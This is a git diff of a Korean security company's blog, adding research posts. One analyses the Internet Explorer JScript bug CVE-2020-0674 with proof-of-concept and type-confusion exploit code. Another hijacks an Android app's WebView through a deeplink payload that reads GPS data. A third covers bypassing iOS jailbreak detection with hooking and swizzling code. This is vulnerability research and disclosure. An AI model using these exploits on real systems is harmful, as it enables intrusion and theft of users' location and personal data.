diff --git a/_posts/2024-02-06-IoT-TechBlog-ko.md b/_posts/2024-02-06-IoT-TechBlog-ko.md index dbd9b39..464c612 100644 --- a/_posts/2024-02-06-IoT-TechBlog-ko.md +++ b/_posts/2024-02-06-IoT-TechBlog-ko.md @@ -2,19 +2,19 @@ layout: post markdown: kramdown highlighter: rouge -title: "하드웨어 해킹: 뉴비 입문기" +title: "뉴비들의 하드웨어 해킹 입문기" date: 2024-02-06 10:00:0 +0900 category: R&D author: 이주협, 이주영 author_email: jhlee2@stealien.com, jylee3@stealien.com background: /assets/bg.png profile_image: /assets/stealien_inverse.png -summary: "하드웨어 해킹 방법론" +summary: "뉴비들의 하드웨어 해킹 입문기" thumbnail: /assets/stealien.png lang: ko --- -# 하드웨어 해킹: 뉴비 입문기 +# 뉴비들의 하드웨어 해킹 입문기 > 이 포스트는 스틸리언 선제대응팀의 '이주협' 선임 연구원님과 '이주영' 연구원님이 정성스럽게 작성 해 주셨습니다. > diff --git a/docs/2020-04-13/Introduce.html b/docs/2020-04-13/Introduce.html new file mode 100644 index 0000000..1656e69 --- /dev/null +++ b/docs/2020-04-13/Introduce.html @@ -0,0 +1,175 @@ + + +
+ + + + + + + +2020년 1월 14일, Microsoft Windows 7 운영체제의 지원이 중단되었다. 지원 중단된 운영체제를 사용할 경우, 보안 업데이트가 중단되어 악성 프로그램에 감염될 확률이 높다. 본 게시글은 공격자 관점에서 원격 코드 실행 취약점을 구현한다. 취약점을 구현하는 과정에서 요구되는 기술을 소개하고 보안 업데이트의 경각심을 높인다.
+ +Windows 7 운영체제는 Internet Explorer(IE) 웹브라우저가 기본 탑재되어 있다. Windows 보안 패치를 적용하지 않을 경우, IE의 보안 패치가 적용되지 않는다. 최신 패치가 적용되지 않은 소프트웨어는 N-Day 취약점에 노출되므로 IE는 공격 대상으로 적합하다. Windows 7 지원이 중단된 다음달, 2월 11일 패치가 배포된 CVE-2020-0674 취약점은 scripting engine에서 발생하는 memory corruption 취약점으로, wild에서 watering hole 공격에 사용되었다. 본 취약점이 발생하는 JScript는 IE8 버전 이하에서 동작하지만, IE9 이상 버전에서 문서 호환성 모드를 이용하면 호출 가능하다. 본 취약점에 대해 online에 공개된 내용이 적어, 공격자는 보안 업데이트의 패치 내역을 조사하여 취약점 발생 지점을 파악하고 exploit을 구현해야 한다.
+ +취약점 발생 지점을 파악하기 위해 scripting engine이 구현되어 있는 jscript.dll 모듈의 보안 업데이트 적용 전/후를 비교한다. 보안 업데이트 파일은 소프트웨어 제조사인 Microsoft 홈페이지에서 배포한다. 보안 업데이트 파일의 확장자는 msu이고, 파일 형식은 cab 압축 파일 형태이다. Expand 도구를 이용하여 압축 해제 및 파일 추출이 가능하다.
+ +Diaphora, BinDiff 등의 diffing 도구를 IDA 디스어셈블러와 연동하여 사용한다. 패치 전 jscript.dll 5.8.9600.19597 버전과 패치 후 jscript.dll 5.8.9600.19626 버전을 비교한다.
+ ++ |
---|
그림 1. Diaphora의 비교 결과 | +
Parser::Parse, CScriptRuntime::EnsureGcAlloc, ScrFncObj::PerformCall, CSession::GetVarStack 함수 등이 추가되었다.
+ +변경된 코드 중 Garbage Collector(GC)와 관련된 코드에 주목한다. 패치 이후 ScrFncObj::Call 함수가 간소화되고 기존 ScrFncObj::Call 함수의 코드가 새로운 이름의 ScrFncObj::PerformCall 함수에 구현되었다. 패치 이전 ScrFncObj::Call 함수의 코드가 ScrFncObj::PerformCall 함수로 이동된 부분을 제외하면, 추가된 코드는 ScavVarList::Init 함수 호출이다.
+ ++ |
---|
그림 2. 패치 이전의 ScrFncObj::Call 함수 | +
+ |
---|
그림 3. 패치 이후의 ScrFncObj::PerformCall 함수 | +
ScrFncObj 클래스는 Script Function Object의 약자로 추정된다. ScrFncObj::Call 함수는 사용자 정의 함수 등의 스크립트가 call(호출)될 때 실행되는 함수다. 패치 이후 VAR::SetHeapJsObj 함수와 CScriptRuntime::Init 함수 사이에 ScavVarList 클래스를 사용하는 코드가 추가되었다. VarStack::ContainsVarList 함수는 session의 스택과 VarList를 인자로 받으며, session의 스택이 VarList를 포함하고 있는지 확인한다. VarList는 ScrFncObj::Call가 call하는 함수의 매개변수다. 추가된 코드를 해석하면, 매개변수가 현재 session의 스택에 포함되어 있지 않은 경우 ScavVarList::Init 함수를 호출한다. ScavVarList::Init는 IScavengerBase::LinkToGc 함수를 호출하여 VarList를 GC에 연결시킨다.
+ ++ |
---|
그림 4. ScavVarList::Init 함수 | +
JScript는 Number, String, Object 등의 객체를 Variant 구조로 구현한다. Variant는 32비트 환경에서 0x10 크기이다. 오프셋 0의 2바이트는 객체의 종류, 오프셋 8의 4바이트는 데이터 포인터를 저장한다. 메모리 관리의 효율성을 위해 100개의 Variant 저장이 가능한 GcBlock을 사용한다. GcBlock은 double linked list 형태다. 첫 4바이트는 이전 블록을 가리키는 포인터, 다음 4바이트는 다음 블록을 가리키는 포인터, 이후 Variant 100개 저장이 가능한 구조다. 32비트 환경에서 4+4+16*100의 0x648 크기를 가진다.
+ +Garbage Collector는 표시하고 쓸기(Mark and Sweep) 알고리즘으로 동작한다. Mark(표시) 과정은 GcBlock을 순회하며 GcAlloc::SetMark 함수에서 수행한다. Variant 객체 종류를 나타내는 첫 2바이트에 0x800을 OR 연산하여 12번째 비트에 mark한다.
+ ++ |
---|
그림 5. GcAlloc::SetMark 함수 | +
다음으로 scavenge 과정을 수행한다. Scavenge 과정은 GcContext::ScavengeVar 함수에서 사용중인 Variant의 mark를 지운다. 0xF7FF를 AND 연산하여 12번째 비트를 0으로 설정한다.
+ ++ |
---|
그림 6. GcContext::ScavengeVar 함수 | +
Sweep(쓸기) 과정은 GcAlloc::ReclaimGarbage 함수에서 mark를 확인한 후 여전히 mark된 Variant에 대해 VAR::Clear 함수를 호출한다. VAR::Clear 함수는 객체 종류를 0으로 설정한다.
+ ++ |
---|
그림 7. GcAlloc::ReclaimGarbage 함수 | +
+ |
---|
그림 8. VAR::Clear 함수 | +
GcBlock 내의 모든 Variant가 clear 상태일 때 GcBlockFactory::FreeBlk가 호출되며, GcBlockFactory::FreeBlk가 50번 호출될 때 메모리 free가 이루어진다.
+ ++ |
---|
그림 9. GcBlockFactory::FreeBlk 함수 | +
패치 내역 조사 결과로 미루어 보아 본 취약점은 함수 매개변수가 GC에 연결되지 않아 발생한다. 매개변수를 포인터로 사용하면 함수 실행중 매개변수가 Variant를 가리키게 설정 가능하다. 매개변수가 Variant를 가리키고 있는 상태에서 Variant를 해제하고 GC를 수행한다. 정상적인 경우, 매개변수가 가리키고 있는 Variant는 사용중이므로 scavenge에 의해 mark가 제거되어야 한다. 매개변수가 GC에 연결되어 있지 않은 경우, scavenge 과정에서 생략된다. Scavenge 과정에서 생략되어 mark가 제거되지 않으면, sweep 과정에서 mark된 Variant가 clear 된다. 이후 매개변수에서 Variant를 참조하면 매개변수는 Variant를 가리키고 있지만 해당 Variant는 clear된 상태이므로 Use After Free 취약점이 발생한다. JsArrayFunctionHeapSort, JsJSONStringify 등의 콜백함수에서 생성되어 전달되는 매개변수는 스택에 포함되어 있지 않다. 콜백함수에서 매개변수에 Variant를 저장하고, Variant를 해제한 후 GC를 수행하여 취약점 트리거가 가능하다.
+ +개념 증명 코드는 다음과 같다.
+ +<script language="Jscript.Encode">
+ var arr = new Array(1, 2);
+ arr.sort(fncCompare);
+
+ function fncCompare(arg1, arg2) {
+ var variant = new Object();
+ arg1 = variant;
+
+ variant = null;
+ CollectGarbage();
+
+ alert( typeof arg1 );
+ }
+</script>
+
Typeof 명령어를 사용하면 CScriptRuntime::TypeOf 함수에서 Variant 객체 종류를 식별한다. 개념 증명 코드에서 typeof하는 Variant는 clear 상태이다. Clear 상태인 Variant는 객체 종류가 0이므로 typeof 결과가 undefined으로 출력된다.
+ ++ |
---|
그림 10. TypeOf 함수에서 식별하는 Variant 메모리 덤프 | +
GcBlock이 해제된 후, 같은 크기의 메모리를 할당하면 LFH(Low Fragmentation Heap)에 의해 같은 주소에 메모리가 할당되어 Type Confusion을 발생시킬 수 있다. GcBlock은 GcBlockFactory::FreeBlk가 50번 호출되어야 메모리 해제를 수행한다. 임의의 Varaint를 50100개 해제한 후 GC를 호출하면 GcBlock 50개가 해제되므로 메모리 해제가 수행된다. JScript를 이용하는 공격자들은 원하는 크기의 메모리를 할당하기 위해 NamedList를 사용한다. 32비트 시스템에서 NamedList의 메모리는 ((2이름길이+0x32)*2+4) 크기로 할당된다. GcBlock의 크기는 0x648 이므로, 0x178 길이의 이름을 사용할 경우 0x648 크기의 메모리가 할당된다.
+ ++ |
---|
그림 11. NameList::FCreateVval 함수에서 메모리 할당 | +
매개변수가 가리키고 있는 해제된 Variant 위치에 새로 할당한 NamedList가 위치해야한다. 한 번의 Use After Free로는 가능성이 낮다. Exploit의 신뢰성을 높이기 위해 재귀함수를 이용하여 JsArrayFunctionHeapSort 함수를 1000번 호출한다. 콜백함수가 1000번 호출되면, 매개변수를 1000번 사용할 수 있다. Variant를 1000개 생성한 후, 재귀함수에서 각 매개변수에 대입한다. 각 매개변수는 전역변수에 저장해두고, 마지막 재귀함수에서 Variant를 해제하고 GC를 호출하여 취약점을 발생시킨다. 해제된 Variant 위치에 공격자가 컨트롤한 데이터를 위치시키기 위해 NamedList를 다수 생성한다.
+ +Number Variant의 종류는 0x0003 이다. NamedList를 이용하여 가짜 Number Variant를 만든다. NamedList에서 생성하는 가짜 Variant는 해제되기 전 GcBlock에 위치한 Variant와 동일한 위치에 적재되어야 한다. NamedList는 GcBlock과 구조가 다르므로 패딩을 주어 위치를 맞춘다.
+ +Type Confusion을 이용하여 가짜 Number를 구현한 코드는 다음과 같다.
+ +<meta http-equiv="X-UA-Compatible" content="IE=8"></meta>
+<script language="Jscript.Encode">
+ var arr_spray = new Array();
+ var arr_uaf = new Array();
+ var arr_overlap = new Array();
+
+ var arr_ref = new Array();
+ var arr_sort = new Array();
+
+ var callback_idx = 0;
+ var maxnum = 1000;
+
+ var name = "\u4141\u4141"; // padding
+ while (name.length != 0x16A) {
+ name += "\u0003\u0000\u0000\u0000\u1337\u0000\u0000\u0000"; // 0x0003 is Number
+ }
+ while (name.length != 0x178) {
+ name += "\u4141";
+ }
+
+ function fncCompare(arg1, arg2) {
+ if (callback_idx < (maxnum-1)) {
+ arg1 = arr_uaf[callback_idx];
+ callback_idx = callback_idx + 1;
+ arr_sort[callback_idx].sort(fncCompare);
+ arr_ref.push(arg1);
+
+ } else {
+
+ // for GcBlockFactory::FreeBlk
+ for (var i = 0; i < 50 * 100; i++) {
+ arr_spray[i] = new Object();
+ }
+ for (var i = 0; i < 50 * 100; i++) {
+ arr_spray[i] = null;
+ }
+ CollectGarbage();
+
+ // free
+ for (var i = 0; i < maxnum; i++) {
+ arr_uaf[i] = null;
+ }
+ CollectGarbage();
+
+ // overlap
+ for (var i = 0; i < 0x1000; i++) {
+ arr_overlap[i][name] = 1;
+ }
+ }
+
+ return 1;
+ }
+
+ for (var i = 0; i < 0x1000; i++) {
+ arr_overlap[i] = new Array();
+ }
+
+ for (var i = 0; i < maxnum; i++) {
+ arr_sort[i] = new Array(1, 2);
+ }
+
+ for (var i = 0; i < maxnum; i++) {
+ arr_uaf[i] = new Object();
+ }
+
+ arr_sort[0].sort(fncCompare);
+
+ for (var i = 0; i < maxnum; i++) {
+ if ((typeof arr_ref[i]) === "number") {
+ if (arr_ref[i] === 0x1337) {
+ alert( i + " / " + typeof arr_ref[i] + " / " + arr_ref[i].toString(16) );
+ break;
+ }
+ }
+ }
+</script>
+
실행 결과는 다음과 같다.
+ ++ |
---|
그림 12. 사용 중인 Object Variant | +
+ |
---|
그림 13. Clear 및 free된 Variant | +
+ |
---|
그림 14. NamedList에 의해 overlap되어 생성된 가짜 Number Variant | +
+ |
---|
그림 15. Type Confusion된 가짜 Number를 출력한 결과 | +
JScript는 문자열을 BSTR 형식으로 저장한다. 문자열을 나타내는 String Variant의 종류는 0x82 이고, 데이터는 BSTR의 Data String 포인터를 가리킨다. Type Confusion을 통해 가짜 String Variant를 생성할 때, BSTR의 포인터 대신 읽고자 하는 메모리 주소를 삽입한 후 문자열을 읽으면 임의 메모리 읽기가 가능하다. + JScript의 Image Base 주소를 얻기 위해 Object 객체의 메모리를 읽어야 한다. Object 객체는 종류 0x81인 Object Variant가 가리킨다. Use After Free 취약점에 사용되는 Object Variant에 RegExp 객체를 사용할 경우, Object Variant의 데이터는 RegExp 포인터가 저장된다. GcBlock을 해제하면 VAR::Clear가 Object Variant의 종류를 0으로 설정하지만, 데이터는 지우지 않는다. 이후 해제된 GcBlock을 재사용할 때, GcBlock은 해제되기 전 Object Variant의 데이터에 존재하는 RegExp 객체 포인터를 가지고 있다. 가짜 Number Variant의 데이터로 입력한 \u1337을 입력하지 않으면, 기존에 존재하는 RegExp 객체 포인터를 읽는다. RegExp 객체를 생성할 때, 패턴을 지정하면 RegExp 객체와 컴파일된 패턴 문자열이 차례로 GcBlock에 생성된다. 패턴 문자열은 문자열이 필요한 경우 사용이 가능하다.
+ ++ |
---|
그림 16. NamedList에 의해 생성된 가짜 Number Variant와 객체 포인터 | +
객체 메모리를 읽기 위해 가짜 String Variant를 생성하고 객체 포인터를 String Variant의 데이터로 삽입한다. 객체의 첫 4바이트는 JScript 모듈에 위치하는 객체 함수 주소 테이블이고, 오프셋 0x40 바이트 위치에 컴파일된 패턴 Variant의 주소가 있다. 객체 함수 주소 테이블에 0xFFFF0000을 AND 연산하여 JScript의 Image Base를 얻는다. 컴파일된 패턴 Variant 주소는 GcBlock에 존재하므로 RegExp 객체의 오프셋 0x40 바이트의 4바이트를 읽으면 NamedList Overlap을 수행하는 GcBlock의 주소를 알 수 있다.
+ ++ |
---|
그림 17. RegExp 객체 메모리 | +
JScript 모듈 주소를 기반으로 Kernel32 모듈의 WinExec 함수 주소를 구한다.
+ +Object Variant를 이용하여 코드 실행이 가능하다. Typeof 메소드를 처리하는 CScriptRuntime::TypeOf에서 Variant의 데이터가 가리키는 값에 0x9C를 더한 주소가 가리키는 값으로 EIP가 변경된다.
+ ++ |
---|
그림 18. CScriptRuntime::TypeOf 함수에서 가상 함수 호출 | +
가짜 Object Variant를 생성하고 데이터 포인터로 현재 GcBlock의 조작 가능한 주소를 삽입한다. NamedList를 이용하여 데이터를 알맞게 조립하면 EIP 변경이 가능하다. EIP 변경을 통해 WinExec 호출이 가능하지만 인자 전달이 안되므로 JScript 내에 위치한 ROP 가젯을 이용한다. 가상 함수를 호출하기 전, EAX 레지스터에 Object Variant 데이터 포인터가 가리키는 값이 저장된다. EAX 값을 ESP로 이동하는 가젯으로 EIP를 변경한 후, WinExec로 이동하면 스택이 GcBlock에 존재하므로 인자 조절이 가능하다. RegExp 객체의 컴파일된 패턴 문자열을 WinExec의 인자로 사용하여 공격자가 원하는 명령어 실행이 가능하다.
+ ++ |
---|
그림 19. WinExec 호출하여 커맨드 실행 | +
+ +
안드로이드 어플리케이션 버그헌팅을 위해 사례 조사를 진행하였으며, 사례 조사를 위해 해커원을 이용했다. 해커원에서 한 해커가 Deeplink를 공격벡터로 하여 취약점을 발굴하는것을 확인하였으며, 이를 우리나라 어플리케이션에 공격을 진행해보았다. 구글 플레이 스토어에서 인기 앱 3000개를 다운받았으며, 그 중 “쇼핑몰”, “배달앱”을 집중적으로 분석한 결과, 많은 어플리케이션이 이 공격에 취약한 것으로 확인되었다. 발견한 취약점은 모두 KISA를 통해 신고를 하였으며, 대부분의 취약점이 지금은 패치되었다. 지금은 효율적인 공격을 위해 퍼저와 분석도구를 개발완료한 상태이다.
+ +이 공격방식을 이용하여 발견한 H어플리케이션의 취약점은 CVE-2019-9140 를 받았으며, KISA에서는 심각도를 “HIGH”로 설정하였다.
+ +참고: https://www.krcert.or.kr/data/secInfoView.do?bulletin_writing_sequence=35102
+ +Deeplink는 URI를 통해 어플리케이션을 작동하기위한 하나의 기능이다.
+ +일반적으로 http://www.stealien.com 등의 URL을 클릭하면 자동으로 웹 브라우저가 실행된다.
+ +운영체제는 어떻게 웹 브라우저를 실행시켜줄까? 이는 바로 웹 브라우저가 이 기능을 “명시”하였기 때문이다. 안드로이드 운영체제의 경우에는 AndroidManifest.xml에서 Browsable로 본인이 실행 되고 싶은 intent를 명시한다.
+ +안드로이드 크롬 어플리케이션 또한 http 또는 https 로 실행될 때 해당 앱의 특정 클래스를 로딩해달라는것이 명시되어있다.
+ +다른 일반적인 예시로는 동영상 플레이어가 있다. 파일어플리케이션이나 웹 브라우저에서 다운로드받은 동영상을 클릭하면 동영상 앱이 뜨는 경우가 있다. 이 또한 동영상 플레이어마다 AndroidManifest.xml에 명시된 규칙에 따라 실행되는 것이다. 안드로이드의 경우 동영상 플레이어가 여러개 설치되어있는 경우 어떤 동영상 플레이어로 실행할지 고르는 팝업이 뜨는데, 이는 해당 동영상 플레이어들의 실행 규칙에 해당하기 때문이다.
+ +http 스키마 뿐만이 아니라 다른 여러가지 스키마를 사용 할 수 있는데, m사의 경우 melonapp://을, CVE-2019-9140의 H앱은 hmapp:// 을 사용한다.
+ +Deeplink로 실행된 임의의 어플리케이션의 특정 클래스는 전달받은 URI를 파싱하고, 이 URI에 따라 작동한다. 예를 들어서 “태진 배달 어플리케이션”이 있다고 하자. 이 회사가 운영하고 있는 홈페이지에서 어플리케이션의 주문페이지를 열고 싶은 경우 “taejin://open?page=history”를 클릭하게 하여 주문 페이지를 열 수 있다.
+ +대부분의 어플리케이션은 웹뷰를 사용하는데, 이는 공지사항, 게시물 등 디자인/개발 문제로 인해 html로 보여줘야만 하는 경우에 주로 사용한다. 특히나 웹뷰를 핵심으로 사용하고 있는 웹앱과 하이브리드앱 또한 존재한다.
+ +또한 대부분의 어플리케이션은 웹뷰에서 보여주고 있는 자사의 웹페이지와 어플리케이션의 연동을 위해 Javascript Interface를 사용하며, 이를 통해 웹 페이지에서 어플리케이션을 제어 할 수 있는 함수를 실행 할 수 있다. 일반적으로 사용자 계정을 제어하거나 파일 제어, 위치 정보 호출 등을 지원한다.
+ +이러한 Javascript Interface를 공격자가 임의로 사용하기 위해서는 Webview에 공격자의 웹 사이트를 띄워야하므로, 우리는 이러한 행위를 Webview Hijacking이라고 부르기로 하였다.
+ +이는 Deeplink를 공격벡터로 하여 Webview를 장악하는 것을 뜻한다. 취약점을 파급도를 높히기 위해 클릭 한번으로 앱을 제어 할 수 있는 Deeplink를 이용한 Webview Hijacking이다.
+ +H어플리케이션은 Deeplink를 통해 Webview Hijacking을 할 수 있으며, 이 어플리케이션은 Javascript Interface에서 GPS정보를 제공해주는 함수를 구현하였기 때문에 위치정보를 탈취 할 수 있었다.
+ +우선 AndroidManifest.xml을 분석한 결과 다음과 같은 deeplink를 통해 어플리케이션을 실행 할 수 있는 것을 확인하였다.
+ + + +위 네가지 경우에 com.hpapp.IntroActivity
가 호출되므로 이 class를 우선적으로 분석한다.
이 코드는 IntroActivity의 일부로, nextActivity이다. 이 메소드를 확인해보면 hpeventurl= 이라는 값이 전달받은 uri에 존재한다면str2를 hpeventurl= 이후의 값으로 만든다. 예를 들어 happypointcard://deeplink?hpeventurl=https://www.bughunting.net/
이라는 값이 전달받은 uri인 경우 str2의 값은 https://www.bughunting.net/
이 되는 것이다. 이 값은 공격자가 임의로 수정 할 수 있는 것이기 때문에 SecondIntroActivity.class로 이동 할 때 CommonDefine.INTENT_DATA_SHOW_HAPPY_MARKET 를 키로 하여 값으로 전달된다.
전달받은 CommonDefine.INTENT_DATA_SHOW_HAPPY_MARKET
은 SecondIntroActivity
의 goMainActivity
메소드에서 MainActivity.class
에 전달된다.
MainActivity의 onCreate함수에서는 checkEvent
메소드를 실행한다.
checkEvent
메소드에서는 단순히 스키마를 체크하는 것이 아니라, intent를 와 this를 전달하여 체크한 스키마가 happypoint인 경우 MainActivity를 다시 실행하고, 로직에 따라 다시 웹뷰가 실행된다.
지금은 아래와 같이 패치되었으나, 원래는 해당 부분에서 호스트네임을 검사하지 않았다. 만약 제대로 되어있다면 moveHappyMarket이 호출된다.
+ +)
+ +호출된 아래 함수에서는 str이 공백이 아닌경우 INTENT_DATA_REDIRECT_URI의 value로 들어가는 것을 확인 할 수 있다. 이는 MainActivity를 다시 실행한다.
+ +(아래 사진에 나와있는 코드는 해피포인트 6.4.3의 코드로, 취약점 분석을 진행한 해피포인트 앱의 버전과 다를 수 있다)
+ + + +MainActivity에서는 initRequestService 함수를 실행하며, 이 이후부터는 initWebview함수를 이용하여 Webview를 초기화하고 url을 전달받은 인자값으로 바꾼다.
+ + + +Webview를 통해 앱 내에서 임의의 페이지를 열 수 있으므로 원하는 Javascript를 실행 할 수 있게 되었다. 이제 제어가 가능한 Webview에서 사용가능한 Javascript Interface를 찾아보아야한다. 분석 결과, 다음과 같은 함수들을 자바스크립트에서 실행 할 수 있었으며, 분석결과 현재 좌표
, 동의 여부
, 사용자 정보(전화번호)
를 탈취 할 수 있었으며, 이외에도 앱의 일부 기능을 수행 할 수 있었다.
URL에 대해 별다른 검증을 하지 않으므로, 다음과 같이 공격하였다.
+ +happypointcard://deeplink?hpeventurl=javascript:window.App={recvLocation:function(a,b){alert(a+","+b)}};android.myLocationGPS()
이 URL을 /를 통해 일반 링크처럼 표시하였으며, 클릭시 다음과 같은 alert가 뜨는 것을 확인 할 수 있다. 또한 여건에 따라 출력된 데이터들을 Ajax를 통해 공격자의 서버에 저장 할 수 있다.
+ + + + + +이 취약점을 포함하여 많은 어플리케이션을 제보하였고, KISA 연구원님들과 함께 보안 조치 매뉴얼을 제작할 수 있는 기회가 생겨 도움을 드렸다.
+ +https://www.krcert.or.kr/data/guideView.do?bulletin_writing_sequence=35434
+ +현재 KISA에서는 Deeplink 관련 취약점에 대해 포상을 진행하지 않는다.
+참고 자료 없이 혼자서 연구한 부분이기 때문에 오류가 있을 수 있습니다. 오류를 찾으셨다면 taejin@stealien.com 으로 메일 부탁드립니다.
+피싱 앱을 통한 신종 보이스 피싱 등 모바일 앱을 대상으로 하는 공격이 있다. 앱 개발사는 공격자로부터의 해킹을 예방하기 위해 앱 배포 전 백신, 플랫폼 해킹 탐지, 역공학 방지, 앱 위변조 여부를 확인한다. 이러한 대처에도 불구하고 블랙 해커들로 인해 동일한 사고가 발생하고 있다. 현존하는 iOS 보안 기술 동향들을 연구 및 기술하고 보안 솔루션에 우회 기술을 적용해보아 앞으로의 보안 기술 발전에 조금이나마 도움이 되고자 한다.
+ +공격자들이 피해자들에게 위변조된 앱을 배포하기 위해서, OS 위변조 탐지(=플랫폼 해킹 탐지)와 앱 위변조 탐지 우회가 필수적이다. third-party APP 설치를 위해서는, 순정단말이 아닌 OS가 변조된 jailbreak device이어야만 한다. 주요 로직(ex. ID, PWD 전송, 계좌 송금 등) 변조를 위해서는 앱을 위변조하여 실행해야 한다. 그러나 개요에서 설명하였듯이, 보안 모듈로 인해 jailbreak device, 앱 위변조는 탐지되므로 앱 이용이 불가하다. 배포되어 악의적인 수행을 하는 APP들은 현존하는 OS 위변조 탐지, 앱 위변조 탐지 기술들을 우회하도록 위변조됐다. 그렇기에 이 두 가지 보안 기술을 중점으로 살펴봤다.
+ +- File/Directory 존재 여부 확인
+iOS는 앱을 통한 시스템 변조 가능성을 배제하기 위해, 각 앱마다 sandbox라는 앱 접근 가능 영역이 존재한다. 하지만 시스템 앱은 system partition에 설치되며 sandbox 제한이 없다. 그러므로 공격자들은 공격 도구, Cydia와 같은 Tweak관련 파일들을 root partition(=system partition) 하위 경로에 저장한다. system partition 검사를 통해 탈옥 관련 파일 리스트를 추출한 후 경로 검사를 통해 jailbreak 탐지가 가능하다.
- File/Directory 접근 권한 확인/변조
+jailbreak 도구 실행 시, 접근 권한이 변경되는 file/directory가 존재한다. 단말기에서 각 앱들의 sandbox 영역 외 File/Directory 권한 확인 가능, 파일 권한값 획득 여부 검사를 통해서 탈옥을 검증한다.
- File 작성, 수정 및 제거 시도
+jailbreak 툴들은 설치한 thirdparty-app의 sandbox를 무력화시키기도 한다. 그러므로 탈옥단말기에서는 sandbox 외 시스템 File, directory 접근 가능하다. 각 앱들의 sandbox 영역 외 File/Directory 경로 접근 및 읽기, 쓰기, 제거, 작업 디렉터리 경로 변경 등을 시도하여 탈옥 탐지가 가능하다. 주로 /tmp 하위 폴더 내 작업 시도한다.
- 동적 라이브러리 확인
+프로세스에 로딩된 라이브러리 중 탈옥환경에서 실행 가능한 후킹 도구, tweak 관련 모듈명(ex, Substrate, TweakInject, cycript, SBInject, pspawn, rocketbootstrap, colorpicker, CS, bfdecrypt 등) 검사를 통해 jailbreak을 탐지한다.
- fork 시도
+sandbox로 인해 순정 단말기 내 앱 프로세스는 fork() 이용이 불가하나, sandbox 제한 없는 탈옥단말기에서는 가능하다. jailbreak 단말기에서 fork() 실행 후, 결과 값 확인을 통한 정상 실행 여부 검사한다.
- Schema 확인
+Android와 마찬가지로 iOS도 custom URL을 지원한다. 탈옥 관련 앱들(Cydia, Sileo, zbra, undecimus, iFile 등) 존재 여부 파악을 위해, URL Schema를 이용하여 앱 실행 여부를 확인한다.
- Shell 실행
+system()은 SHELL_PATH로 /bin/sh를 이용하나, 순정디바이스에서는 /bin/sh 접근이 불가하다. system()는 쉘 이용 불가 시, 0을 반환한다. 탈옥단말기에서는 /bin/sh에 접근이 가능하므로, system() 정상 실행이 가능하다.
- Binding Port 확인
+탈옥환경에서 hooking 도구인 Frida를 이용하여 실행 파일 분석이 가능하다. Frida는 27042 port를 default로 이용한다. socket 생성 후, connect()를 이용하여 frida default port open 여부를 확인한다.
- symbolic link 확인
+iOS에는 크게 2개의 영역이 존재한다. 하나는 용량이 적은 read-only system 영역이고, 다른 하나는 data 영역이다. jailbreak 툴들은 공간이 작은 system 영역 대신 data 영역에 thirdparty software를 저장하고, symbolic link를 통해 연결해놓는다. 파일, 폴더의 symbolic link를 확인한다.
- Binary File 기반 hash 검증
+Mac에서 제공하는 API를 이용하여 앱 실행 파일 경로 획득, 파일 접근이 가능하다. 이후 파일 해쉬 생성을 통해 위변조 검증이 가능하다.
- Memory 기반 hash 검증
+메모리상에서 실행 모듈 base 주소 획득 후 접근하여 data(실행 파일 전체, Code section, File signature 등) Hash, 암호화를 통해 검증할 수 있다. 주로 코드 섹션 __TEXT 세그먼트의 __text 섹션의 해시를 검증한다.
iOS 애플리케이션의 바이너리는 Mach-O구조로 이루어진다. Mach-O는Header, Load Commands, Data로 이루어져 있다. Load Commands는 다수의 Command를 포함하며 동적 라이브러리는 Command영역에 정의한다. 동적 라이브러리는 iOS운영체제에 존재하는 기본 라이브러리와 애플리케이션 개발자가 삽입한 동적 라이브러리가 포함된다. 다수의 동적 라이브러리가 정의된 경우 Command 순서대로 라이브러리가 로드된다.
+ + + +공격자는 애플리케이션 바이너리의 Load Commands를 조작하여 악의적인 동적 라이브러리 삽입이 가능하다. 공격자의 동적 라이브러리가 첫 번째로 정의된 경우, 애플리케이션의 바이너리 코드와 기타 보안 모듈의 동적 라이브러리보다 먼저 호출된다. 보안 모듈보다 먼저 호출된 동적 라이브러리는 메모리 조작을 통해 보안 모듈을 손쉽게 무력화한다.
+ +순정단말기에서는 앱을 리패키징하여 메모리 접근할 수 있으나, 최고(root) 권한 이용 가능한 device에서는 시스템 환경변수를 통한 라이브러리 삽입이 가능하다. 그러므로 탈옥환경에서는 앱 위변조 우회하지 않은 상태에서 로직 변조가 가능하다.
+ +공격자의 동적 라이브러리는 애플리케이션의 메모리에 자유롭게 접근한다. 보안 모듈의 디버깅 방지 기능은 타 프로세스에서의 접근을 방지하므로 동적 라이브러리 삽입을 통한 메모리 접근은 디버깅 방지 기능에 영향을 받지 않는다. 함수 후킹을 위해서 함수 시작 부분의 명령어나 주소 테이블 내 주소를 변조할 수있다. Frida를 이용하여 API 인라인 후킹을 구현한 코드는 다음과 같다.
+#대상 프로세스 attach |
Objective-C는 클래스의 메소드를 호출할 때, 함수 주소에 의한 호출이 아닌 객체에 메시지를 전송하여 메소드를 호출한다. 메시지를 받은 객체는 dispatch table에서 각 메시지에 해당하는 메소드를 호출한다. Objective-C의 메소드 호출 방식으로 인해 메소드 교체가 가능하다. iOS는 특정 메소드의 구현을 변경하는API를 제공한다.
+ +공격자의 동적 라이브러리는 애플리케이션의 클래스와 메소드에 자유롭게 접근 가능하다.
+ +method_exchangeImplementations API를 이용하여 메소드 스위즐링을 구현한 코드는 다음과 같다.
+ +#include <objc/runtime.h> #include <objc/message.h> … // 스위즐링 대상 클래스와 메소드를 가져온다 Class clsTarget = objc_getClass(“TARGET_CLASS_NAME”); Method methodOrg = class_getInstanceMethod(clsTarget, @selector(TARGET_SELECTOR));
// 스위즐링 대상 클래스에 공격자의 메소드를 삽입한다 class_addMethod(clsTarget, @selector(MY_SELECTOR));
// 스위즐링 대상 클래스에 존재하는 메소드와 삽입한 메소드를 교체(스위즐링)한다 Method methodNew = class_getInstanceMethod(clsTarget, @selector(MY_SELECTOR)); method_exchangeImplementations(methodOrg, methodNew); |
본 게시글에서 앱 보안 기술과 더불어 우회 기법을 소개하였다. 공격자로부터 앱을 보호하기 위해 다양한 보안 기술을 탑재한 보안 솔루션들이 존재한다. 국내 iOS 앱 보안 솔루션 총 5개에 본 게시글에서 소개하는 우회 기법을 적용한 결과, AppSuit를 제외한 타 솔루션들의 탈옥 탐지와 위변조 탐지 로직 무력화가 가능하였다. 소개한 기법을 이용하여 보안 솔루션들이 무력화되므로 안전한 iOS 앱 보안을 위해 전문적인 보안 솔루션 적용을 권고한다.
+ +다양한 임베디드 서비스 및 IoT에서 사용되는 CGI 프로그램을 공격하는 일반적인 방법에 대해 알아 보겠습니다.
